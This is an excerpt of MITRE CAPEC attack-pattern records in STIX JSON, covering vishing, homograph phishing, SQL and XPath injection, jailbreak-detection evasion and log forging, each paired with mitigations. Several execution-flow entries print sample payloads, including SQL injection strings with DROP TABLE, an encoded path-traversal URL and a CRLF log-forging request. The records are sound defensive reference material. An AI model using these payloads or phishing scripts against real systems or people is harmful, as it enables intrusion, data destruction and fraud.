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"An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. See also: CVE-2004-2182"
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"description": "An adversary registers a domain name containing a homoglyph, leading the registered domain to appear the same as a trusted domain. A homograph attack leverages the fact that different characters among various character sets look the same to the user. Homograph attacks must generally be combined with other attacks, such as phishing attacks, in order to direct Internet traffic to the adversary-controlled destinations.",
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"\n <xhtml:p>An adversary sends an email, impersonating bankofamerica.com to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.</xhtml:p>\n <xhtml:p>However, the link the in email is bankofamerica.com, where the 'a' and 'e' characters are Cyrillic and not ASCII, instead of bankofamerica.com (all ASCII), which the user clicks after carefully reading the URL, making sure that typosquatting and soundsquatting attacks are not being leveraged against them.</xhtml:p>\n <xhtml:p>The user is directed to the adversary's website, which appears as if it is the legitimate bankofamerica.com login page.</xhtml:p>\n <xhtml:p>The user thinks they are logging into their account, but have actually just given their bankofamerica.com credentials to the adversary. The adversary can now use the user's legitimate bankofamerica.com credentials to log into the user's account and steal any money which may be in the account.</xhtml:p>\n <xhtml:p>Homograph vulnerability allows an adversary to impersonate a trusted domain by leveraging homoglyphs and tricking a user into visiting the malicious website to steal user credentials.</xhtml:p>See also: CVE-2012-0584 CVE-2009-0652 CVE-2005-0233 CVE-2005-0234 CVE-2005-0235 CVE-2005-0236 CVE-2005-0237 CVE-2005-0238"
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},
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{
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"url": "http://cwe.mitre.org/data/definitions/836.html",
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"url": "https://attack.mitre.org/wiki/Technique/T1550/002",
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"description": "Dan Goodin, Attackers can use Zoom to steal users\u2019 Windows credentials with no warning, 2020--04---01, Ars Technica",
"url": "https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/",
"external_id": "REF-575"
},
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"description": "Mor Levi, Assaf Dahan, Amit Serper, Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers, 2019--06---25, CyberReason",
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},
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"description": "Mitigating Pass-the-Hash and Other Credential Theft v2, Microsoft Corporation",
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"description": "Bashar Ewaida, Pass-the-hash attacks: Tools and Mitigation, 2010--02---23, The SANS Institute",
"url": "https://www.sans.org/reading-room/whitepapers/testing/paper/33283",
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],
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},
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],
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],
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"Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credential hash value pairs from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]",
"Operation Soft Cell, which has been underway since at least 2012, leveraged a modified Mimikatz that dumped NTLM hashes. The acquired hashes were then used to authenticate to other systems within the network via Pass The Hash attacks. [REF-580]"
],
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"description": "An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.",
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"description": "BRONZE BUTLER Targets Japanese Enterprises, 2017--10---12, Secureworks\u00ae Counter Threat Unit\u2122 Threat Intelligence",
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"source_name": "ATTACK",
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"description": "Jennifer van der Kleut, What is vishing? Tips for spotting and avoiding voice scams, NortonLifeLock Inc.",
"url": "https://ieeexplore.ieee.org/document/6604058/authors#authors",
"external_id": "REF-594"
},
{
"source_name": "reference_from_CAPEC",
"description": "What Is Vishing?, AO Kaspersky Lab",
"url": "https://www.kaspersky.com/resource-center/definitions/vishing",
"external_id": "REF-595"
}
],
"x_capec_alternate_terms": [
"Vishing",
"VoIP Phishing"
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"An adversary needs phone numbers to initiate contact with the victim, in addition to a legitimate-looking telephone number to call the victim from.",
"An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their \"hooks\" to many potential victims.",
"An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.",
"If passively conducting this attack via a spoofed website, replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity."
],
"x_capec_skills_required": {
"Medium": "Basic knowledge about websites: obtaining them, designing and implementing them, etc."
},
"x_capec_resources_required": [
"Legitimate-looking telephone number(s) to initiate calls with victims"
],
"x_capec_consequences": {
"Confidentiality": [
"Gain Privileges",
"Read Data"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Integrity": [
"Modify Data"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
"The target receives an email or text message stating that their Apple ID has been disabled due to suspicious activity and that the included link includes instructions on how to unlock their Apple account. The link in the text message looks legitimate and once the link is clicked, the user is redirected to a legitimate-looking webpage that prompts the user to call a specified number to initiate the unlock process. The target initiates the phone call and provides their credentials or other sensitive information to the individual they assume works for Apple. Now that the adversary possess this data, it can be used to log into the account to obtain other sensitive data, such as Apple Pay information.",
"An adversary calls the target and claims to work for their bank. The adversary informs the target that their bank account has been frozen, due to potential fraudulent spending, and requires authentication in order to re-enable the account. The target, believing the caller is a legitimate bank employee, provides their bank account login credentials to confirm they are the authorized owner of the account. The adversary then confirms this authentication and claims that the account has been unlocked. Once the adversary has obtained these credentials, money can be transferred from the victim's account to an account controlled by the adversary."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Obtain domain name and certificate to spoof legitimate site: </b>This optional step can be used to help the adversary impersonate the legitimate organization more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. If the adversary leverages cold-calling for this attack, this step is skipped.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Optionally obtain a domain name that visually looks similar to the legitimate organization's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</td></tr><tr><td>Optionally obtain a legitimate SSL certificate for the new domain name.</td></tr></tbody></table><li> <p> <b>Explore legitimate website and create duplicate: </b>An adversary optionally creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the organization's website that they are trying to impersonate. That website will contain a telephone number for the victim to call to assist them with their issue and initiate the attack. If the adversary leverages cold-calling for this attack, this step is skipped.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use spidering software to get copy of web pages on legitimate site.</td></tr><tr><td>Manually save copies of required web pages from legitimate site.</td></tr><tr><td>Create new web pages that have the legitimate site's look and feel, but contain completely new content.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Convince user to provide sensitive information to the adversary.: </b>An adversary \"cold calls\" the victim or receives a call from the victim via the malicious site and provides a call-to-action, in order to persuade the user into providing sensitive details to the adversary (e.g. login credentials, bank account information, etc.). The key is to get the victim to believe that the individual they are talking to is from a legitimate entity with which the victim does business and that the call is occurring for legitimate reasons. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Call the user a from a spoofed legitimate-looking telephone number.</td></tr></tbody></table><li> <p> <b>Use stolen information: </b>Once the adversary obtains the sensitive information, this information can be leveraged to log into the victim's bank account and transfer money to an account of their choice, or to make fraudulent purchases with stolen credit card information.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Login to the legitimate site using another the victim's supplied credentials</td></tr></tbody></table></ol></div>",
"x_capec_status": "Stable",
"x_capec_version": "3.4",
"type": "attack-pattern",
"id": "attack-pattern--ec0a802f-1d0a-4360-a4d8-3fb9f48715d0"
},
{
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2020-12-17T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-656-0",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Do not accept calls from unknown numbers or from numbers that may be flagged as spam. Also, do not call numbers that appear on-screen after being unexpectedly redirected to potentially malicious websites. In either case, do not provide sensitive information over voice calls that are not legitimately initiated. Instead, call your Bank, PayPal, eBay, etc., via the number on their public-facing website and inquire about the problem.",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--6e3af87a-42f6-4c03-85e4-aaa333a97b18"
},
{
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"created": "2020-12-17T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"x_capec_version": "3.4",
"type": "relationship",
"id": "relationship--244a5166-f226-4066-b561-6df35600a91c",
"source_ref": "course-of-action--6e3af87a-42f6-4c03-85e4-aaa333a97b18",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--ec0a802f-1d0a-4360-a4d8-3fb9f48715d0"
},
{
"name": "Malicious Automated Software Update via Spoofing",
"description": "An attackers uses identify or content spoofing to trick a client into performing an automated software update from a malicious source. A malicious automated software update that leverages spoofing can include content or identity spoofing as well as protocol spoofing. Content or identity spoofing attacks can trigger updates in software by embedding scripted mechanisms within a malicious web page, which masquerades as a legitimate update source. Scripting mechanisms communicate with software components and trigger updates from locations specified by the attackers' server. The result is the client believing there is a legitimate software update available but instead downloading a malicious update from the attacker.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2020-12-17T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/657.html",
"external_id": "CAPEC-657"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/494.html",
"external_id": "CWE-494"
},
{
"source_name": "ATTACK",
"description": "Application Deployment Software",
"url": "https://attack.mitre.org/wiki/Technique/T1017",
"external_id": "T1017"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_consequences": {
"Access_Control": [
"Execute Unauthorized Commands"
],
"Availability": [
"Execute Unauthorized Commands"
],
"Confidentiality": [
"Execute Unauthorized Commands"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
"An example of the spoofing strategy would be the eTrust Antivirus Webscan Automated Update Remote Code Execution vulnerability (CVE-2006-3976) and (CVE-2006-3977) whereby an ActiveX control could be remotely manipulated by an attacker controlled web page to download and execute the attackers' code without integrity checking."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern",
"id": "attack-pattern--9b9760ba-c8de-42c7-9de0-3a5ee2d2abdb"
},
{
"id": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e",
"name": "SQL Injection",
"description": "This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/66.html",
"external_id": "CAPEC-66"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/89.html",
"external_id": "CWE-89"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1286.html",
"external_id": "CWE-1286"
},
{
"source_name": "WASC",
"description": "SQL Injection",
"url": "http://projects.webappsec.org/SQL-Injection",
"external_id": "19"
},
{
"source_name": "OWASP Attacks",
"description": "SQL Injection",
"url": "https://owasp.org/www-community/attacks/SQL_Injection"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.html",
"external_id": "REF-607"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"SQL queries used by the application to store, retrieve or modify data.",
"User-controllable input that is not properly validated by the application as part of SQL queries."
],
"x_capec_skills_required": {
"Low": "It is fairly simple for someone with basic SQL knowledge to perform SQL injection, in general. In certain instances, however, specific knowledge of the database employed may be required."
},
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_consequences": {
"Integrity": [
"Modify Data",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Confidentiality": [
"Read Data",
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Gain Privileges"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
]
},
"x_capec_abstraction": "Standard",
"x_capec_example_instances": [
"With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a denylist approach to input validation. However, because of an improper denylist, it is possible to inject content such as \"foo'/**/UNION\" or \"foo UNION/**/\" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525"
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Survey application: </b>The attacker first takes an inventory of the functionality exposed by the application.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Spider web sites for all available links</td></tr><tr><td>Sniff network communications with application using a utility such as WireShark.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Determine user-controllable input susceptible to injection: </b>Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a parenthesis, etc.). The goal is to create a SQL query with an invalid syntax.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use web browser to inject input through text fields or through HTTP GET parameters.</td></tr><tr><td>Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</td></tr><tr><td>Use network-level packet injection tools such as netcat to inject input</td></tr><tr><td>Use modified client (modified by reverse engineering) to inject input.</td></tr></tbody></table><li> <p> <b>Experiment with SQL Injection vulnerabilities: </b>After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use public resources such as \"SQL Injection Cheat Sheet\" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.</td></tr><tr><td>Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : \"' OR 1=1; --\", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.</td></tr><tr><td>Use \"Blind SQL Injection\" techniques to extract information about the database schema.</td></tr><tr><td>If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: \"'; DROP TABLE SYSOBJECTS; --\" and \"'); DROP TABLE SYSOBJECTS; --\". These particular queries will likely not work because the SYSOBJECTS table is generally protected.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Exploit SQL Injection vulnerability: </b>After refining and adding various logic to SQL queries, craft and execute the underlying SQL query that will be used to attack the target system. The goal is to reveal, modify, and/or delete database data, using the knowledge obtained in the previous step. This could entail crafting and executing multiple SQL queries if a denial of service attack is the intent.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Craft and Execute underlying SQL query</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"id": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-66-0",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.",
"x_capec_version": "3.4",
"type": "course-of-action"
},
{
"id": "relationship--a93f8f1b-9607-4383-9b6f-7be3de09fc48",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"x_capec_version": "3.4",
"type": "relationship",
"source_ref": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e"
},
{
"id": "course-of-action--3b3ecd49-a48b-4908-b854-071ac6b15f1c",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-66-1",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Use of parameterized queries or stored procedures - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Note that SQL Injection is possible even in the presence of stored procedures if the eventual query is constructed dynamically.",
"x_capec_version": "3.4",
"type": "course-of-action"
},
{
"id": "relationship--5fc50ca5-d17c-4f39-96d4-795ef6ac0bb1",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
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"type": "relationship",
"source_ref": "course-of-action--3b3ecd49-a48b-4908-b854-071ac6b15f1c",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e"
},
{
"id": "relationship--df5e28f8-bb74-4412-960d-bef6cec27c9f",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
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"type": "relationship",
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"relationship_type": "mitigates",
"target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e"
},
{
"name": "Root/Jailbreak Detection Evasion via Hooking",
"description": "An adversary forces a non-restricted mobile application to load arbitrary code or code files, via Hooking, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Adversaries may further leverage these capabilities to escalate privileges or bypass access control on legitimate applications. Although many mobile applications check if a mobile device is Rooted/Jailbroken prior to authorized use of the application, adversaries may be able to \"hook\" code in order to circumvent these checks. Successfully evading Root/Jailbreak detection allows an adversary to execute administrative commands, obtain confidential data, impersonate legitimate users of the application, and more.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2020-12-17T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/660.html",
"external_id": "CAPEC-660"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/829.html",
"external_id": "CWE-829"
},
{
"source_name": "ATTACK",
"description": "Process Injection",
"url": "https://attack.mitre.org/wiki/Technique/T1055",
"external_id": "T1055"
},
{
"source_name": "reference_from_CAPEC",
"description": "Ansgar Kellner, Micha Horlboge, Konrad Rieck, Christian Wressnegger, False Sense of Security: A Study on the Effectivity of Jailbreak Detection in Banking Apps, 2019--06---17, Technische Universit\u00e4t Braunschweig",
"url": "https://cybersecurity.att.com/blogs/security-essentials/mobile-phishing",
"external_id": "REF-624"
},
{
"source_name": "reference_from_CAPEC",
"description": "San-Tsai Sun, Andrea Cuadros, Konstantin Beznosov, Android Rooting: Methods, Detection, and Evasion, 2019--06---17, Technische Universit\u00e4t Braunschweig",
"url": "http://lersse-dl.ece.ubc.ca/record/310/files/p3.pdf?subformat=pdfa",
"external_id": "REF-625"
},
{
"source_name": "reference_from_CAPEC",
"description": "Jose Lopes, Who owns your runtime?, 2015--10---12, Nettitude Labs",
"url": "https://labs.nettitude.com/blog/ios-and-android-runtime-and-anti-debugging-protections/#hooking",
"external_id": "REF-626"
},
{
"source_name": "reference_from_CAPEC",
"description": "Suresh Khutale, Android Root Detection Bypass by Reverse Engineering APK, 2018--03---06, InfoSec Institute",
"url": "https://resources.infosecinstitute.com/topic/android-root-detection-bypass-reverse-engineering-apk/",
"external_id": "REF-627"
}
],
"x_capec_likelihood_of_attack": "Medium",
"x_capec_typical_severity": "Very High",
"x_capec_prerequisites": [
"The targeted application must be non-restricted to allow code hooking."
],
"x_capec_skills_required": {
"High": "Knowledge about Root/Jailbreak detection and evasion techniques.",
"Medium": "Knowledge about code hooking."
},
"x_capec_resources_required": [
"The adversary must have a Rooted/Jailbroken mobile device.",
"The adversary needs to have enough access to the target application to control the included code or file."
],
"x_capec_consequences": {
"Integrity": [
"Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Hooking, the adversary compromises the integrity of the application.)"
],
"Authorization": [
"Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Hooking, the adversary compromises the integrity of the application.)",
"Gain Privileges"
],
"Confidentiality": [
"Gain Privileges",
"Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Hooking in order to obtain sensitive information.)"
],
"Access_Control": [
"Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Hooking in order to obtain sensitive information.)"
]
},
"x_capec_abstraction": "Detailed",
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"An adversary targets a non-restricted iOS banking application in an attempt to compromise sensitive user data. The adversary creates Objective-C runtime code that always returns \"false\" when checking for the existence of the Cydia application. The malicious code is then dynamically loaded into the application via the DYLD_INSERT_LIBRARIES environment variable. When the banking applications checks for Cydia, the hooked code returns \"false\", so the application assumes the device is stock (i.e. not Jailbroken) and allows it to access the application. However, the adversary has just evaded Jailbreak detection and is now able to glean user credentials and/or transaction details.",
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"description": "An adversary inserts a debugger into the program entry point of a mobile application to modify the application binary, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Rooting/Jailbreaking a mobile device also provides users with access to system debuggers and disassemblers, which can be leveraged to exploit applications by dumping the application's memory at runtime in order to remove or bypass signature verification methods. This further allows the adversary to evade Root/Jailbreak detection mechanisms, which can result in execution of administrative commands, obtaining confidential data, impersonating legitimate users of the application, and more.",
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"name": "String Format Overflow in syslog()",
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"Some (older) web browsers allowed scripting languages, such as JavaScript, to call signed Java code. In these circumstances, the browser's VM implementation would choose not to conduct stack inspection across language boundaries (from called signed Java to calling JavaScript) and would short-circuit \"true\" at the language boundary. Doing so meant that the VM would allow any (unprivileged) script to call privileged functions within signed code with impunity, causing them to fall prey to luring attacks.",
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"The targeted program is giving away information about itself. Before performing such attack, an eventual attacker may need to gather information about the services running on the host target. The more the host target is verbose about the services that are running (version number of application, etc.) the more information can be gather by an attacker.",
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"description": "Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.",
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"Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username \"root\" with a password \"password\". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288",
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"source_name": "cwe",
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"\n <xhtml:p>Attack Example: URL Encodings in IceCast MP3 Server.</xhtml:p>\n <xhtml:p>The following type of encoded string has been known traverse directories against the IceCast MP3 server9:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">http://[targethost]:8000/somefile/%2E%2E/target.mp3</xhtml:div>\n <xhtml:p>or using</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">\"/%25%25/\" instead of \"/../\".</xhtml:div>\n <xhtml:p>The control character \"..\" can be used by an attacker to escape the document root.</xhtml:p>See also: CVE-2001-0784",
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},
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},
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],
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"url": "http://cwe.mitre.org/data/definitions/116.html",
"external_id": "CWE-116"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/713.html",
"external_id": "CWE-713"
},
{
"source_name": "reference_from_CAPEC",
"description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley",
"external_id": "REF-1"
}
],
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"x_capec_typical_severity": "High",
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"Target server software must be a HTTP server that performs web logging."
],
"x_capec_skills_required": {
"Low": "To input faked entries into Web logs"
},
"x_capec_resources_required": [
"Ability to send specially formatted HTTP request to web server"
],
"x_capec_consequences": {
"Integrity": [
"Modify Data"
]
},
"x_capec_abstraction": "Detailed",
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"Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Determine Application Web Server Log File Format: </b>The attacker observes the system and looks for indicators of which logging utility is being used by the web server.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Determine Injectable Content: </b>The attacker launches various logged actions with malicious data to determine what sort of log injection is possible.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Manipulate Log Files: </b>The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>\n <xhtml:p>Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.</xhtml:p>\n <xhtml:p>For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.</xhtml:p>\n </td></tr><tr><td>\n <xhtml:p>Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.</xhtml:p>\n <xhtml:p>For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.</xhtml:p>\n </td></tr><tr><td>Directly through log file or database manipulation, modify existing log entries.</td></tr></tbody></table></ol></div>",
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"name": "DEPRECATED: Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))",
"description": "This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads, CAPEC-231: XML Oversized Payloads, and CAPEC-147: XML Ping of Death. Please refer to these CAPECs going forward.",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/82.html",
"external_id": "CAPEC-82"
}
],
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},
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"id": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b",
"name": "XPath Injection",
"description": "An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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],
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"modified": "2020-12-17T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/83.html",
"external_id": "CAPEC-83"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/91.html",
"external_id": "CWE-91"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/74.html",
"external_id": "CWE-74"
},
{
"source_name": "cwe",
